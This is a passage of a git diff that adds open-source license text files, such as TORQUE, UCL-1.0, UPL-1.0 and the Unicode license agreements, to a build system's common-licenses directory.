+This software is provided "as is" and without any expressed or implied warranties, including, without limitation, the implied warranties of merchantibility and fitness for any particular purpose.
diff --git a/meta/files/common-licenses/TMate b/meta/files/common-licenses/TMate
new file mode 100644
index 0000000000..75fe4b42f9
--- /dev/null
+++ b/meta/files/common-licenses/TMate
@@ -0,0 +1,21 @@
+The TMate Open Source License.
+
+This license applies to all portions of TMate SVNKit library, which are not externally-maintained libraries (e.g. Ganymed SSH library).
+
+All the source code and compiled classes in package org.tigris.subversion.javahl except SvnClient class are covered by the license in JAVAHL-LICENSE file
+
+Copyright (c) 2004-2012 TMate Software. All rights reserved.
+
+Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:
+
+ * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.
+
+ * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.
+
+ * Redistributions in any form must be accompanied by information on how to obtain complete source code for the software that uses SVNKit and any accompanying software that uses the software that uses SVNKit. The source code must either be included in the distribution or be available for no more than the cost of distribution plus a nominal fee, and must be freely redistributable under reasonable conditions. For an executable file, complete source code means the source code for all modules it contains. It does not include source code for modules or files that typically accompany the major components of the operating system on which the executable file runs.
+
+ * Redistribution in any form without redistributing source code for software that uses SVNKit is possible only when such redistribution is explictly permitted by TMate Software. Please, contact TMate Software at support@svnkit.com to get such permission.
+
+THIS SOFTWARE IS PROVIDED BY TMATE SOFTWARE ``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE, OR NON-INFRINGEMENT, ARE DISCLAIMED.
+
+IN NO EVENT SHALL TMATE SOFTWARE BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
diff --git a/meta/files/common-licenses/TORQUE-1.1 b/meta/files/common-licenses/TORQUE-1.1
new file mode 100644
index 0000000000..52c884e8de
--- /dev/null
+++ b/meta/files/common-licenses/TORQUE-1.1
@@ -0,0 +1,25 @@
+TORQUE v2.5+ Software License v1.1
+Copyright (c) 2010-2011 Adaptive Computing Enterprises, Inc. All rights reserved.
+
+Use this license to use or redistribute the TORQUE software v2.5+ and later versions. For free support for TORQUE users, questions should be emailed to the community of TORQUE users at torqueusers@supercluster.org. Users can also subscribe to the user mailing list at http://www.supercluster.org/mailman/listinfo/torqueusers. Customers using TORQUE that also are licensed users of Moab branded software from Adaptive Computing Inc. can get TORQUE support from Adaptive Computing via:
+Email: torque-support@adaptivecomputing.com.
+Phone: (801) 717-3700
+Web: www.adaptivecomputing.com www.clusterresources.com
+
+This license covers use of the TORQUE v2.5 software (the "Software") at your site or location, and, for certain users, redistribution of the Software to other sites and locations1. Later versions of TORQUE are also covered by this license. Use and redistribution of TORQUE v2.5 in source and binary forms, with or without modification, are permitted provided that all of the following conditions are met.
+
+1. Any Redistribution of source code must retain the above copyright notice and the acknowledgment contained in paragraph 5, this list of conditions and the disclaimer contained in paragraph 5.
+
+2. Any Redistribution in binary form must reproduce the above copyright notice and the acknowledgment contained in paragraph 4, this list of conditions and the disclaimer contained in paragraph 5 in the documentation and/or other materials provided with the distribution.
+
+3. Redistributions in any form must be accompanied by information on how to obtain complete source code for TORQUE and any modifications and/or additions to TORQUE. The source code must either be included in the distribution or be available for no more than the cost of distribution plus a nominal fee, and all modifications and additions to the Software must be freely redistributable by any party (including Licensor) without restriction.
+
+4. All advertising materials mentioning features or use of the Software must display the following acknowledgment:
+"TORQUE is a modification of OpenPBS which was developed by NASA Ames Research Center, Lawrence Livermore National Laboratory, and Veridian TORQUE Open Source License v1.1. 1 Information Solutions, Inc. Visit www.clusterresources.com/products/ for more information about TORQUE and to download TORQUE. For information about Moab branded products and so receive support from Adaptive Computing for TORQUE, see www.adaptivecomputing.com.”
+
+5. DISCLAIMER OF WARRANTY THIS SOFTWARE IS PROVIDED "AS IS" WITHOUT WARRANTY OF ANY KIND. ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE, AND NON-INFRINGEMENT ARE EXPRESSLY DISCLAIMED. IN NO EVENT SHALL ADAPTIVE COMPUTING ENTERPRISES, INC. CORPORATION, ITS AFFILIATED COMPANIES, OR THE U.S. GOVERNMENT OR ANY OF ITS AGENCIES BE LIABLE FOR ANY DIRECT OR INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+
+This license will be governed by the laws of Utah, without reference to its choice of law rules.
+
+Note 1: TORQUE is developed from an earlier version v2.3 of OpenPBS. TORQUE has been developed beyond OpenPBS v2.3. The OpenPBS v2.3 license and OpenPBS software can be obtained at:
+http://www.pbsworks.com/ResLibSearchResult.aspx?keywords=openpbs&industry=All&pro duct_service=All&category=Free%20Software%20Downloads&order_by=title. Users of TORQUE should comply with the TORQUE license as well as the OpenPBS license.
diff --git a/meta/files/common-licenses/TOSL b/meta/files/common-licenses/TOSL
new file mode 100644
index 0000000000..efee67e571
--- /dev/null
+++ b/meta/files/common-licenses/TOSL
@@ -0,0 +1,9 @@
+Trusster Open Source License version 1.0a (TRUST) copyright (c) 2006 Mike Mintz and Robert Ekendahl. All rights reserved.
+
+Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:
+
+ * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.
+ * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.
+ * Redistributions in any form must be accompanied by information on how to obtain complete source code for this software and any accompanying software that uses this software. The source code must either be included in the distribution or be available in a timely fashion for no more than the cost of distribution plus a nominal fee, and must be freely redistributable under reasonable and no more restrictive conditions. For an executable file, complete source code means the source code for all modules it contains. It does not include source code for modules or files that typically accompany the major components of the operating system on which the executable file runs.
+
+THIS SOFTWARE IS PROVIDED BY MIKE MINTZ AND ROBERT EKENDAHL ``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE, OR NON-INFRINGEMENT, ARE DISCLAIMED. IN NO EVENT SHALL MIKE MINTZ AND ROBERT EKENDAHL OR ITS CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
diff --git a/meta/files/common-licenses/TU-Berlin-1.0 b/meta/files/common-licenses/TU-Berlin-1.0
new file mode 100644
index 0000000000..08f954e88c
--- /dev/null
+++ b/meta/files/common-licenses/TU-Berlin-1.0
@@ -0,0 +1,10 @@
+Copyright 1992 by Jutta Degener and Carsten Bormann,
+Technische Universitaet Berlin
+
+Any use of this software is permitted provided that this notice is not removed and that neither the authors nor the Technische Universitaet Berlin are deemed to have made any representations as to the suitability of this software for any purpose nor are held responsible for any defects of this software. THERE IS ABSOLUTELY NO WARRANTY FOR THIS SOFTWARE.
+
+As a matter of courtesy, the authors request to be informed about uses this software has found, about bugs in this software, and about any improvements that may be of general interest.
+
+Berlin, 15.09.1992
+Jutta Degener
+Carsten Bormann
diff --git a/meta/files/common-licenses/TU-Berlin-2.0 b/meta/files/common-licenses/TU-Berlin-2.0
new file mode 100644
index 0000000000..82897c1871
--- /dev/null
+++ b/meta/files/common-licenses/TU-Berlin-2.0
@@ -0,0 +1,20 @@
+Copyright 1992, 1993, 1994 by Jutta Degener and Carsten Bormann,
+Technische Universitaet Berlin
+
+Any use of this software is permitted provided that this notice is not removed and that neither the authors nor the Technische Universitaet Berlin are deemed to have made any representations as to the suitability of this software for any purpose nor are held responsible for any defects of this software. THERE IS ABSOLUTELY NO WARRANTY FOR THIS SOFTWARE.
+
+As a matter of courtesy, the authors request to be informed about uses this software has found, about bugs in this software, and about any improvements that may be of general interest.
+
+Berlin, 28.11.1994
+Jutta Degener
+Carsten Bormann
+
+oOo
+
+Since the original terms of 15 years ago maybe do not make our intentions completely clear given today's refined usage of the legal terms, we append this additional permission:
+
+Permission to use, copy, modify, and distribute this software for any purpose with or without fee is hereby granted, provided that this notice is not removed and that neither the authors nor the Technische Universitaet Berlin are deemed to have made any representations as to the suitability of this software for any purpose nor are held responsible for any defects of this software. THERE IS ABSOLUTELY NO WARRANTY FOR THIS SOFTWARE.
+
+Berkeley/Bremen, 05.04.2009
+Jutta Degener
+Carsten Bormann
diff --git a/meta/files/common-licenses/UCL-1.0 b/meta/files/common-licenses/UCL-1.0
new file mode 100644
index 0000000000..8915f82b45
--- /dev/null
+++ b/meta/files/common-licenses/UCL-1.0
@@ -0,0 +1,48 @@
+Upstream Compatibility License v. 1.0 (UCL-1.0)
+
+This Upstream Compatibility License (the "License") applies to any original work of authorship (the "Original Work") whose owner (the "Licensor") has placed the following licensing notice adjacent to the copyright notice for the Original Work:
+
+ Licensed under the Upstream Compatibility License 1.0
+
+1) Grant of Copyright License. Licensor grants You a worldwide, royalty-free, non-exclusive, sublicensable license, for the duration of the copyright, to do the following:
+
+ a) to reproduce the Original Work in copies, either alone or as part of a collective work;
+
+ b) to translate, adapt, alter, transform, modify, or arrange the Original Work, thereby creating derivative works ("Derivative Works") based upon the Original Work;
+
+ c) to distribute or communicate copies of the Original Work and Derivative Works to the public, with the proviso that copies of Original Work You distribute or communicate shall be licensed under this Upstream Compatibility License and all Derivative Work You distribute or communicate
+ shall be licensed under both this Upstream Compatibility License and the Apache License 2.0 or later;
+
+ d) to perform the Original Work publicly; and
+
+ e) to display the Original Work publicly.
+
+2) Grant of Patent License. Licensor grants You a worldwide, royalty-free, non-exclusive, sublicensable license, under patent claims owned or controlled by the Licensor that are embodied in the Original Work as furnished by the Licensor, for the duration of the patents, to make, use, sell, offer for sale, have made, and import the Original Work and Derivative Works.
+
+3) Grant of Source Code License. The term "Source Code" means the preferred form of the Original Work for making modifications to it and all available documentation describing how to modify the Original Work. Licensor agrees to provide a machine-readable copy of the Source Code of the Original Work along with each copy of the Original Work that Licensor distributes. Licensor reserves the right to satisfy this obligation by placing a machine-readable copy of the Source Code in an information repository reasonably calculated to permit inexpensive and convenient access by You for as long as Licensor continues to distribute the Original Work.
+
+4) Exclusions From License Grant. Neither the names of Licensor, nor the names of any contributors to the Original Work, nor any of their trademarks or service marks, may be used to endorse or promote products derived from this Original Work without express prior permission of the Licensor. Except as expressly stated herein, nothing in this License grants any license to Licensor’s trademarks, copyrights, patents, trade secrets or any other intellectual property. No patent license is granted to make, use, sell, offer for sale, have made, or import embodiments of any patent claims other than the licensed claims defined in Section 2. No license is granted to the trademarks of Licensor even if such marks are included in the Original Work. Nothing in this License shall be interpreted to prohibit Licensor from licensing under terms different from this License any Original Work that Licensor otherwise would have a right to license.
+
+5) External Deployment. The term "External Deployment" means the use, distribution, or communication of the Original Work or Derivative Works in any way such that the Original Work or Derivative Works may be used by anyone other than You, whether those works are distributed or communicated to those persons or made available as an application intended for use over a network. As an express condition for the grants of license hereunder, You must treat any External Deployment by You of the Original Work or a Derivative Work as a distribution under section 1(c).
+
+6) Attribution Rights. You must retain, in the Source Code of any Derivative Works that You create, all copyright, patent, or trademark notices from the Source Code of the Original Work, as well as any notices of licensing and any descriptive text identified therein as an "Attribution Notice." You must cause the Source Code for any Derivative Works that You create to carry a prominent Attribution Notice reasonably calculated to inform recipients that You have modified the Original Work.
+
+7) Warranty of Provenance and Disclaimer of Warranty. Licensor warrants that the copyright in and to the Original Work and the patent rights granted herein by Licensor are owned by the Licensor or are sublicensed to You under the terms of this License with the permission of the contributor(s) of those copyrights and patent rights. Except as expressly stated in the immediately preceding sentence, the Original Work is provided under this License on an "AS IS" BASIS and WITHOUT WARRANTY, either express or implied, including, without limitation, the warranties of non-infringement, merchantability or fitness for a particular purpose. THE ENTIRE RISK AS TO THE QUALITY OF THE ORIGINAL WORK IS WITH YOU. This DISCLAIMER OF WARRANTY constitutes an essential part of this License. No license to the Original Work is granted by this License except under this disclaimer.
+
+8) Limitation of Liability. Under no circumstances and under no legal theory, whether in tort (including negligence), contract, or otherwise, shall the Licensor be liable to anyone for any indirect, special, incidental, or consequential damages of any character arising as a result of this License or the use of the Original Work including, without limitation, damages for loss of goodwill, work stoppage, computer failure or malfunction, or any and all other commercial damages or losses. This limitation of liability shall not apply to the extent applicable law prohibits such limitation.
+
+9) Acceptance and Termination. If, at any time, You expressly assented to this License, that assent indicates your clear and irrevocable acceptance of this License and all of its terms and conditions. If You distribute or communicate copies of the Original Work or a Derivative Work, You must make a reasonable effort under the circumstances to obtain the express assent of recipients to the terms of this License. This License conditions your rights to undertake the activities listed in Section 1, including your right to create Derivative Works based upon the Original Work, and doing so without honoring these terms and conditions is prohibited by copyright law and international treaty. Nothing in this License is intended to affect copyright exceptions and limitations (including “fair use” or “fair dealing”). This License shall terminate immediately and You may no longer exercise any of the rights granted to You by this License upon your failure to honor the conditions in Section 1(c).
+
+10) Termination for Patent Action. This License shall terminate automatically and You may no longer exercise any of the rights granted to You by this License as of the date You commence an action, including a cross-claim or counterclaim, against Licensor or any licensee alleging that the Original Work infringes a patent. This termination provision shall not apply for an action alleging patent infringement by combinations of the Original Work with other software or hardware.
+
+11) Jurisdiction, Venue and Governing Law. Any action or suit relating to this License may be brought only in the courts of a jurisdiction wherein the Licensor resides or in which Licensor conducts its primary business, and under the laws of that jurisdiction excluding its conflict-of-law provisions. The application of the United Nations Convention on Contracts for the International Sale of Goods is expressly excluded. Any use of the Original Work outside the scope of this License or after its termination shall be subject to the requirements and penalties of copyright or patent law in the appropriate jurisdiction. This section shall survive the termination of this License.
+
+12) Attorneys' Fees. In any action to enforce the terms of this License or seeking damages relating thereto, the prevailing party shall be entitled to recover its costs and expenses, including, without limitation, reasonable attorneys' fees and costs incurred in connection with such action, including any appeal of such action. This section shall survive the termination of this License.
+
+13) Miscellaneous. If any provision of this License is held to be unenforceable, such provision shall be reformed only to the extent necessary to make it enforceable.
+
+14) Definition of "You" in This License. "You" throughout this License, whether in upper or lower case, means an individual or a legal entity exercising rights under, and complying with all of the terms of, this License. For legal entities, "You" includes any entity that controls, is controlled by, or is under common control with you. For purposes of this definition, "control" means (i) the power, direct or indirect, to cause the direction or management of such entity, whether by contract or otherwise, or (ii) ownership of fifty percent (50%) or more of the outstanding shares, or (iii) beneficial ownership of such entity.
+
+15) Right to Use. You may use the Original Work in all ways not otherwise restricted or conditioned by this License or by law, and Licensor promises not to interfere with or be responsible for such uses by You.
+
+16) Modification of This License. This License is Copyright (c) 2005 Lawrence Rosen and Copyright (c) 2017 Nigel Tzeng. Permission is granted to copy, distribute, or communicate this License without modification. Nothing in this License permits You to modify this License as applied to the Original Work or to Derivative Works. However, You may modify the text of this License and copy, distribute or communicate your modified version (the "Modified License") and apply it to other original works of authorship subject to the following conditions: (i) You may not indicate in any way that your Modified License is the "Open Software License" or "OSL" or the "Upstream Compatibility License" or "UCL" and you may not use those names in the name of your Modified License; (ii) You must replace the notice specified in the first paragraph above with the notice "Licensed under <insert your license name here>" or with a notice of your own that is not confusingly similar to the notice in this License; and (iii) You may not claim that your original works are open source software unless your Modified License has been approved by Open Source Initiative (OSI) and You comply with its license review and certification process.
diff --git a/meta/files/common-licenses/UPL-1.0 b/meta/files/common-licenses/UPL-1.0
new file mode 100644
index 0000000000..491a5deb4b
--- /dev/null
+++ b/meta/files/common-licenses/UPL-1.0
@@ -0,0 +1,17 @@
+Copyright (c) [year] [copyright holders]
+
+The Universal Permissive License (UPL), Version 1.0
+
+Subject to the condition set forth below, permission is hereby granted to any person obtaining a copy of this software, associated documentation and/or data (collectively the "Software"), free of charge and under any and all copyright rights in the Software, and any and all patent rights owned or freely licensable by each licensor hereunder covering either (i) the unmodified Software as contributed to or provided by such licensor, or (ii) the Larger Works (as defined below), to deal in both
+
+(a) the Software, and
+
+(b) any piece of software and/or hardware listed in the lrgrwrks.txt file if one is included with the Software (each a “Larger Work” to which the Software is contributed by such licensors),
+
+without restriction, including without limitation the rights to copy, create derivative works of, display, perform, and distribute the Software and make, use, sell, offer for sale, import, export, have made, and have sold the Software and the Larger Work(s), and to sublicense the foregoing rights on either these or other terms.
+
+This license is subject to the following condition:
+
+The above copyright notice and either this complete permission notice or at a minimum a reference to the UPL must be included in all copies or substantial portions of the Software.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
diff --git a/meta/files/common-licenses/Unicode-DFS-2015 b/meta/files/common-licenses/Unicode-DFS-2015
new file mode 100644
index 0000000000..278eee1e5e
--- /dev/null
+++ b/meta/files/common-licenses/Unicode-DFS-2015
@@ -0,0 +1,19 @@
+UNICODE, INC. LICENSE AGREEMENT - DATA FILES AND SOFTWARE
+
+Unicode Data Files include all data files under the directories http://www.unicode.org/Public/, http://www.unicode.org/reports/, and http://www.unicode.org/cldr/data/. Unicode Data Files do not include PDF online code charts under the directory http://www.unicode.org/Public/. Software includes any source code published in the Unicode Standard or under the directories http://www.unicode.org/Public/, http://www.unicode.org/reports/, and http://www.unicode.org/cldr/data/.
+
+NOTICE TO USER: Carefully read the following legal agreement. BY DOWNLOADING, INSTALLING, COPYING OR OTHERWISE USING UNICODE INC.'S DATA FILES ("DATA FILES"), AND/OR SOFTWARE ("SOFTWARE"), YOU UNEQUIVOCALLY ACCEPT, AND AGREE TO BE BOUND BY, ALL OF THE TERMS AND CONDITIONS OF THIS AGREEMENT. IF YOU DO NOT AGREE, DO NOT DOWNLOAD, INSTALL, COPY, DISTRIBUTE OR USE THE DATA FILES OR SOFTWARE.
+
+COPYRIGHT AND PERMISSION NOTICE
+
+Copyright © 1991-2015 Unicode, Inc. All rights reserved. Distributed under the Terms of Use in http://www.unicode.org/copyright.html.
+
+Permission is hereby granted, free of charge, to any person obtaining a copy of the Unicode data files and any associated documentation (the "Data Files") or Unicode software and any associated documentation (the "Software") to deal in the Data Files or Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, and/or sell copies of the Data Files or Software, and to permit persons to whom the Data Files or Software are furnished to do so, provided that
+
+ (a) this copyright and permission notice appear with all copies of the Data Files or Software,
+ (b) this copyright and permission notice appear in associated documentation, and
+ (c) there is clear notice in each modified Data File or in the Software as well as in the documentation associated with the Data File(s) or Software that the data or software has been modified.
+
+THE DATA FILES AND SOFTWARE ARE PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT OF THIRD PARTY RIGHTS. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR HOLDERS INCLUDED IN THIS NOTICE BE LIABLE FOR ANY CLAIM, OR ANY SPECIAL INDIRECT OR CONSEQUENTIAL DAMAGES, OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THE DATA FILES OR SOFTWARE.
+
+Except as contained in this notice, the name of a copyright holder shall not be used in advertising or otherwise to promote the sale, use or other dealings in these Data Files or Software without prior written authorization of the copyright holder.
diff --git a/meta/files/common-licenses/Unicode-DFS-2016 b/meta/files/common-licenses/Unicode-DFS-2016
new file mode 100644
index 0000000000..71fd6ac5e1
--- /dev/null
+++ b/meta/files/common-licenses/Unicode-DFS-2016
@@ -0,0 +1,22 @@
+UNICODE, INC. LICENSE AGREEMENT - DATA FILES AND SOFTWARE
+
+Unicode Data Files include all data files under the directories http://www.unicode.org/Public/, http://www.unicode.org/reports/, http://www.unicode.org/cldr/data/, http://source.icu-project.org/repos/icu/, and http://www.unicode.org/utility/trac/browser/.
+
+Unicode Data Files do not include PDF online code charts under the directory http://www.unicode.org/Public/.
+
+Software includes any source code published in the Unicode Standard or under the directories http://www.unicode.org/Public/, http://www.unicode.org/reports/, http://www.unicode.org/cldr/data/, http://source.icu-project.org/repos/icu/, and http://www.unicode.org/utility/trac/browser/.
+
+NOTICE TO USER: Carefully read the following legal agreement. BY DOWNLOADING, INSTALLING, COPYING OR OTHERWISE USING UNICODE INC.'S DATA FILES ("DATA FILES"), AND/OR SOFTWARE ("SOFTWARE"), YOU UNEQUIVOCALLY ACCEPT, AND AGREE TO BE BOUND BY, ALL OF THE TERMS AND CONDITIONS OF THIS AGREEMENT. IF YOU DO NOT AGREE, DO NOT DOWNLOAD, INSTALL, COPY, DISTRIBUTE OR USE THE DATA FILES OR SOFTWARE.
+
+COPYRIGHT AND PERMISSION NOTICE
+
+Copyright © 1991-2016 Unicode, Inc. All rights reserved. Distributed under the Terms of Use in http://www.unicode.org/copyright.html.
+
+Permission is hereby granted, free of charge, to any person obtaining a copy of the Unicode data files and any associated documentation (the "Data Files") or Unicode software and any associated documentation (the "Software") to deal in the Data Files or Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, and/or sell copies of the Data Files or Software, and to permit persons to whom the Data Files or Software are furnished to do so, provided that either
+
+ (a) this copyright and permission notice appear with all copies of the Data Files or Software, or
+ (b) this copyright and permission notice appear in associated Documentation.
+
+THE DATA FILES AND SOFTWARE ARE PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT OF THIRD PARTY RIGHTS. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR HOLDERS INCLUDED IN THIS NOTICE BE LIABLE FOR ANY CLAIM, OR ANY SPECIAL INDIRECT OR CONSEQUENTIAL DAMAGES, OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THE DATA FILES OR SOFTWARE.
+
+Except as contained in this notice, the name of a copyright holder shall not be used in advertising or otherwise to promote the sale, use or other dealings in these Data Files or Software without prior written authorization of the copyright holder.
diff --git a/meta/files/common-licenses/Unicode-TOU b/meta/files/common-licenses/Unicode-TOU
new file mode 100644
index 0000000000..49e3eee7eb
--- /dev/null
+++ b/meta/files/common-licenses/Unicode-TOU
@@ -0,0 +1,51 @@
+Unicode Terms of Use
+
+For the general privacy policy governing access to this site, see the Unicode Privacy Policy. For trademark usage, see the Unicode® Consortium Name and Trademark Usage Policy.
+
+A. Unicode Copyright.
+
+ 1. Copyright © 1991-2014 Unicode, Inc. All rights reserved.
+
+ 2. Certain documents and files on this website contain a legend indicating that "Modification is permitted." Any person is hereby authorized, without fee, to modify such documents and files to create derivative works conforming to the Unicode® Standard, subject to Terms and Conditions herein.
+
+ 3. Any person is hereby authorized, without fee, to view, use, reproduce, and distribute all documents and files solely for informational purposes in the creation of products supporting the Unicode Standard, subject to the Terms and Conditions herein.
+
+ 4. Further specifications of rights and restrictions pertaining to the use of the particular set of data files known as the "Unicode Character Database" can be found in Exhibit 1.
+
+ 5. Each version of the Unicode Standard has further specifications of rights and restrictions of use. For the book editions (Unicode 5.0 and earlier), these are found on the back of the title page. The online code charts carry specific restrictions. All other files, including online documentation of the core specification for Unicode 6.0 and later, are covered under these general Terms of Use.
+
+ 6. No license is granted to "mirror" the Unicode website where a fee is charged for access to the "mirror" site.
+
+ 7. Modification is not permitted with respect to this document. All copies of this document must be verbatim.
+
+B. Restricted Rights Legend. Any technical data or software which is licensed to the United States of America, its agencies and/or instrumentalities under this Agreement is commercial technical data or commercial computer software developed exclusively at private expense as defined in FAR 2.101, or DFARS 252.227-7014 (June 1995), as applicable. For technical data, use, duplication, or disclosure by the Government is subject to restrictions as set forth in DFARS 202.227-7015 Technical Data, Commercial and Items (Nov 1995) and this Agreement. For Software, in accordance with FAR 12-212 or DFARS 227-7202, as applicable, use, duplication or disclosure by the Government is subject to the restrictions set forth in this Agreement.
+
+C. Warranties and Disclaimers.
+
+ 1. This publication and/or website may include technical or typographical errors or other inaccuracies . Changes are periodically added to the information herein; these changes will be incorporated in new editions of the publication and/or website. Unicode may make improvements and/or changes in the product(s) and/or program(s) described in this publication and/or website at any time.
+
+ 2. If this file has been purchased on magnetic or optical media from Unicode, Inc. the sole and exclusive remedy for any claim will be exchange of the defective media within ninety (90) days of original purchase.
+
+ 3. EXCEPT AS PROVIDED IN SECTION C.2, THIS PUBLICATION AND/OR SOFTWARE IS PROVIDED "AS IS" WITHOUT WARRANTY OF ANY KIND EITHER EXPRESS, IMPLIED, OR STATUTORY, INCLUDING, BUT NOT LIMITED TO, ANY WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE, OR NON-INFRINGEMENT. UNICODE AND ITS LICENSORS ASSUME NO RESPONSIBILITY FOR ERRORS OR OMISSIONS IN THIS PUBLICATION AND/OR SOFTWARE OR OTHER DOCUMENTS WHICH ARE REFERENCED BY OR LINKED TO THIS PUBLICATION OR THE UNICODE WEBSITE.
+
+D. Waiver of Damages. In no event shall Unicode or its licensors be liable for any special, incidental, indirect or consequential damages of any kind, or any damages whatsoever, whether or not Unicode was advised of the possibility of the damage, including, without limitation, those resulting from the following: loss of use, data or profits, in connection with the use, modification or distribution of this information or its derivatives.
+
+E. Trademarks & Logos.
+
+ 1. The Unicode Word Mark and the Unicode Logo are trademarks of Unicode, Inc. “The Unicode Consortium” and “Unicode, Inc.” are trade names of Unicode, Inc. Use of the information and materials found on this website indicates your acknowledgement of Unicode, Inc.’s exclusive worldwide rights in the Unicode Word Mark, the Unicode Logo, and the Unicode trade names.
+
+ 2. The Unicode Consortium Name and Trademark Usage Policy (“Trademark Policy”) are incorporated herein by reference and you agree to abide by the provisions of the Trademark Policy, which may be changed from time to time in the sole discretion of Unicode, Inc.
+
+ 3. All third party trademarks referenced herein are the property of their respective owners.
+
+F. Miscellaneous.
+
+ 1. Jurisdiction and Venue. This server is operated from a location in the State of California, United States of America. Unicode makes no representation that the materials are appropriate for use in other locations. If you access this server from other locations, you are responsible for compliance with local laws. This Agreement, all use of this site and any claims and damages resulting from use of this site are governed solely by the laws of the State of California without regard to any principles which would apply the laws of a different jurisdiction. The user agrees that any disputes regarding this site shall be resolved solely in the courts located in Santa Clara County, California. The user agrees said courts have personal jurisdiction and agree to waive any right to transfer the dispute to any other forum.
+
+ 2. Modification by Unicode Unicode shall have the right to modify this Agreement at any time by posting it to this site. The user may not assign any part of this Agreement without Unicode’s prior written consent.
+
+ 3. Taxes. The user agrees to pay any taxes arising from access to this website or use of the information herein, except for those based on Unicode’s net income.
+
+ 4. Severability. If any provision of this Agreement is declared invalid or unenforceable, the remaining provisions of this Agreement shall remain in effect.
+
+ 5. Entire Agreement. This Agreement constitutes the entire agreement between the parties.
diff --git a/meta/files/common-licenses/VOSTROM b/meta/files/common-licenses/VOSTROM
new file mode 100644
index 0000000000..efd0a63137
--- /dev/null
+++ b/meta/files/common-licenses/VOSTROM
@@ -0,0 +1,27 @@
+VOSTROM Public License for Open Source
+
+Copyright (c) 2007 VOSTROM Holdings, Inc.
+
+This VOSTROM Holdings, Inc. (VOSTROM) Distribution (code and documentation) is made available to the open source community as a public service by VOSTROM. Contact VOSTROM at license@vostrom.com for information on other licensing arrangements (e.g. for use in proprietary applications).
+
+Under this license, this Distribution may be modified and the original version and modified versions may be copied, distributed, publicly displayed and performed provided that the following conditions are met:
+
